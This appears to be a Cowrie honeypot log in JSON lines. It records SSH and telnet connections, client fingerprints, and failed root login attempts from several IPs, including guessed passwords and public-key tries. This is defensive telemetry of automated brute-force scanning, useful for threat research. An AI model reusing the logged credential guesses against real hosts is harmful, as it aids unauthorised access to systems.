{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:34:55.705256Z","src_ip":"80.66.85.226","session":"a9a6f36bf039","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123333","message":"login attempt [root/123333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:34:55.985117Z","src_ip":"80.66.85.226","session":"a9a6f36bf039","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:34:57.082943Z","src_ip":"80.66.85.226","session":"a9a6f36bf039","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.14.12.125","src_port":58184,"dst_ip":"159.203.135.109","dst_port":22,"session":"67b391c16895","protocol":"ssh","message":"New connection: 3.14.12.125:58184 (159.203.135.109:22) [session: 67b391c16895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:35:05.810147Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:35:05.817679Z","src_ip":"3.14.12.125","session":"67b391c16895","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:35:05.824922Z","src_ip":"3.14.12.125","session":"67b391c16895","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.14.12.125","src_port":44718,"dst_ip":"159.203.135.109","dst_port":22,"session":"26c2ada49db1","protocol":"ssh","message":"New connection: 3.14.12.125:44718 (159.203.135.109:22) [session: 26c2ada49db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:35:15.480199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:35:15.485980Z","src_ip":"3.14.12.125","session":"26c2ada49db1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:35:15.508537Z","src_ip":"3.14.12.125","session":"26c2ada49db1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:35:25.478213Z","src_ip":"3.14.12.125","session":"26c2ada49db1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":51158,"dst_ip":"159.203.135.109","dst_port":22,"session":"764f21f1b9ff","protocol":"ssh","message":"New connection: 103.149.170.125:51158 (159.203.135.109:22) [session: 764f21f1b9ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:35:25.569589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:35:25.574924Z","src_ip":"103.149.170.125","session":"764f21f1b9ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:35:25.826896Z","src_ip":"103.149.170.125","session":"764f21f1b9ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blaster","message":"login attempt [root/blaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:35:26.581383Z","src_ip":"103.149.170.125","session":"764f21f1b9ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:35:27.835582Z","src_ip":"103.149.170.125","session":"764f21f1b9ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":77.69499611854553,"message":"Connection lost after 77 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:36:12.450221Z","src_ip":"79.139.59.21","session":"7324be5c2b8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"13.58.198.185","src_port":21346,"dst_ip":"10.17.0.5","dst_port":23,"session":"83570fea35ce","protocol":"telnet","message":"New connection: 13.58.198.185:21346 (10.17.0.5:23) [session: 83570fea35ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:36:26.901520Z"}
{"eventid":"cowrie.session.closed","duration":10.024306774139404,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:36:36.925728Z","src_ip":"13.58.198.185","session":"83570fea35ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.31.53.170","src_port":43118,"dst_ip":"10.17.0.5","dst_port":22,"session":"cab2ccd358dc","protocol":"ssh","message":"New connection: 64.31.53.170:43118 (10.17.0.5:22) [session: cab2ccd358dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:36:48.377502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:36:48.382109Z","src_ip":"64.31.53.170","session":"cab2ccd358dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:36:48.391865Z","src_ip":"64.31.53.170","session":"cab2ccd358dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9e:a7:ef:ee:44:29:33:23:6c:3a:ac:75:ff:2a:4d:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDlSiUQI2IKhupI9SbaHsVopjOU39hb1r1shIRSljM9LlycQdykq12oCkNi4l78NPsbzq/wkzmq2uEKNXI/FLbvl7CZmrHfmRQrCrjQBOY69LA9LOx8MSE6r9FD9kBrKxWGniPClFU3fmfTclHfcVMyq0dDQfdrWVeKWSH0meDnvzHIAmqJlEr4hvTxjP3pdgBPHCQK0EvmPuBszPFYos+ogFdRUAhfGnXECx/96rBkddRgEL+d6V+zHU+zMVw0jgrl/zPxh8nHQlpR6F8uFx0Ikhx3XB0Vxo4Di6kCWZhdFECSiqNXs2m/B4l8Vzl/YfccbRzheQDBFhNhGbyrefmP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9e:a7:ef:ee:44:29:33:23:6c:3a:ac:75:ff:2a:4d:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:36:48.410868Z","src_ip":"64.31.53.170","session":"cab2ccd358dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9e:a7:ef:ee:44:29:33:23:6c:3a:ac:75:ff:2a:4d:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDlSiUQI2IKhupI9SbaHsVopjOU39hb1r1shIRSljM9LlycQdykq12oCkNi4l78NPsbzq/wkzmq2uEKNXI/FLbvl7CZmrHfmRQrCrjQBOY69LA9LOx8MSE6r9FD9kBrKxWGniPClFU3fmfTclHfcVMyq0dDQfdrWVeKWSH0meDnvzHIAmqJlEr4hvTxjP3pdgBPHCQK0EvmPuBszPFYos+ogFdRUAhfGnXECx/96rBkddRgEL+d6V+zHU+zMVw0jgrl/zPxh8nHQlpR6F8uFx0Ikhx3XB0Vxo4Di6kCWZhdFECSiqNXs2m/B4l8Vzl/YfccbRzheQDBFhNhGbyrefmP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:36:48.415308Z","src_ip":"64.31.53.170","session":"cab2ccd358dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:c2:73:48:fa:50:31:48:22:ad:ae:7d:dd:8d:19:e0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAItj2SL4fmAd5gh8xdnaE9F/azzf8+x0op5xKegK2hP","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 1e:c2:73:48:fa:50:31:48:22:ad:ae:7d:dd:8d:19:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:36:48.424363Z","src_ip":"64.31.53.170","session":"cab2ccd358dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:c2:73:48:fa:50:31:48:22:ad:ae:7d:dd:8d:19:e0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAItj2SL4fmAd5gh8xdnaE9F/azzf8+x0op5xKegK2hP","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:36:48.428554Z","src_ip":"64.31.53.170","session":"cab2ccd358dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:16:50:cd:f6:7d:70:d3:cd:79:4f:f0:99:82:85:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQC0+9XSitKV2GJZpGts1sd048uYybafw68j05SkzXvm7GaUxKmxmIXDjdbLepHnUjqhepOucqUd92PGtmRP+f8OWcb8ecTMkeMLG+IVFwJjnrZkQ5NcqqETeqI0tW1Ri37+dlQB2Jonm7xgMc4KQiCENvyyxZMfP7avE3UDBKfBHQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:16:50:cd:f6:7d:70:d3:cd:79:4f:f0:99:82:85:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:36:48.438482Z","src_ip":"64.31.53.170","session":"cab2ccd358dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:16:50:cd:f6:7d:70:d3:cd:79:4f:f0:99:82:85:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQC0+9XSitKV2GJZpGts1sd048uYybafw68j05SkzXvm7GaUxKmxmIXDjdbLepHnUjqhepOucqUd92PGtmRP+f8OWcb8ecTMkeMLG+IVFwJjnrZkQ5NcqqETeqI0tW1Ri37+dlQB2Jonm7xgMc4KQiCENvyyxZMfP7avE3UDBKfBHQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:36:48.442551Z","src_ip":"64.31.53.170","session":"cab2ccd358dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f4:28:72:67:8c:b0:6b:5f:72:94:2d:2d:5f:80:d9:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTUrqqq723230Ue9/TGa86O4XJfvSrMOHv+BzGillWL9YEBABHvHKhqNS5Dr1KCgMkSnDMzQyh9tHMppO0+S5g30i+uw6DVoz4YmYdrMyYmB7VPOTkGnzkWV2HpVxhy4cnTQfQ1w4yCTBv3uOQkpdqGZ10wg7TWHDf48QecVvbS7h6/ggp0peKrQC65QD2P6/a1ANiVlGohAUpuFo/tpsUZ5zcHg8ISysrrkvhp8tGYwFJZ0c/y2ewmldLQytK/MfXfr6RPm/sGrQIhFc0FElxnZoj+TFIfRpgWPS9UfKrirSd9Jzw6GqGho2jnxduRxAE3OkSINyRNy6C36gL8Y1d","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f4:28:72:67:8c:b0:6b:5f:72:94:2d:2d:5f:80:d9:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:36:48.453886Z","src_ip":"64.31.53.170","session":"cab2ccd358dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f4:28:72:67:8c:b0:6b:5f:72:94:2d:2d:5f:80:d9:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTUrqqq723230Ue9/TGa86O4XJfvSrMOHv+BzGillWL9YEBABHvHKhqNS5Dr1KCgMkSnDMzQyh9tHMppO0+S5g30i+uw6DVoz4YmYdrMyYmB7VPOTkGnzkWV2HpVxhy4cnTQfQ1w4yCTBv3uOQkpdqGZ10wg7TWHDf48QecVvbS7h6/ggp0peKrQC65QD2P6/a1ANiVlGohAUpuFo/tpsUZ5zcHg8ISysrrkvhp8tGYwFJZ0c/y2ewmldLQytK/MfXfr6RPm/sGrQIhFc0FElxnZoj+TFIfRpgWPS9UfKrirSd9Jzw6GqGho2jnxduRxAE3OkSINyRNy6C36gL8Y1d","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:36:48.457922Z","src_ip":"64.31.53.170","session":"cab2ccd358dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:3c:da:3d:11:11:d9:00:58:00:0c:e6:fd:21:21:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkaaI2rzI9AgfcnMuals4g0hGbDF8DL/ltO/49o3LAFuv58hotQwIQ2FBaIk1YYIIkCZ8nOaMXyRqH5/Edzokk27Ecq6Zcpf65GNOYtI0CnmDf/R+U2UwEawirsSJ0pjKqx9N02zr1Whshcfdqjjs581oxeNAIBriGU/z6sNXypSWVUR8yhcY/4egjZe6E0tkdrZveP7zKeJTH5/YxJerhU2rrppaizFWYIqnjMnCJCcCZYLz6MukJaF4Pn/QSVOF58e8yuUAeqvwFCM3vGfN9IRF6mCoHVB+mOUemnnn40jrXLob+FTRiJTR9oKxTlikacJ8b8HutDYsBVq8tYZbt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c3:3c:da:3d:11:11:d9:00:58:00:0c:e6:fd:21:21:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:36:48.468914Z","src_ip":"64.31.53.170","session":"cab2ccd358dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:3c:da:3d:11:11:d9:00:58:00:0c:e6:fd:21:21:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkaaI2rzI9AgfcnMuals4g0hGbDF8DL/ltO/49o3LAFuv58hotQwIQ2FBaIk1YYIIkCZ8nOaMXyRqH5/Edzokk27Ecq6Zcpf65GNOYtI0CnmDf/R+U2UwEawirsSJ0pjKqx9N02zr1Whshcfdqjjs581oxeNAIBriGU/z6sNXypSWVUR8yhcY/4egjZe6E0tkdrZveP7zKeJTH5/YxJerhU2rrppaizFWYIqnjMnCJCcCZYLz6MukJaF4Pn/QSVOF58e8yuUAeqvwFCM3vGfN9IRF6mCoHVB+mOUemnnn40jrXLob+FTRiJTR9oKxTlikacJ8b8HutDYsBVq8tYZbt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:36:48.472669Z","src_ip":"64.31.53.170","session":"cab2ccd358dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:36:48.485645Z","src_ip":"64.31.53.170","session":"cab2ccd358dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":35734,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd7849d41a66","protocol":"ssh","message":"New connection: 77.94.47.83:35734 (10.17.0.5:22) [session: dd7849d41a66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:38:16.366545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:38:16.372344Z","src_ip":"77.94.47.83","session":"dd7849d41a66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:38:16.483173Z","src_ip":"77.94.47.83","session":"dd7849d41a66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"forget","message":"login attempt [root/forget] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:38:16.817016Z","src_ip":"77.94.47.83","session":"dd7849d41a66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:38:17.929663Z","src_ip":"77.94.47.83","session":"dd7849d41a66","protocol":"ssh"}
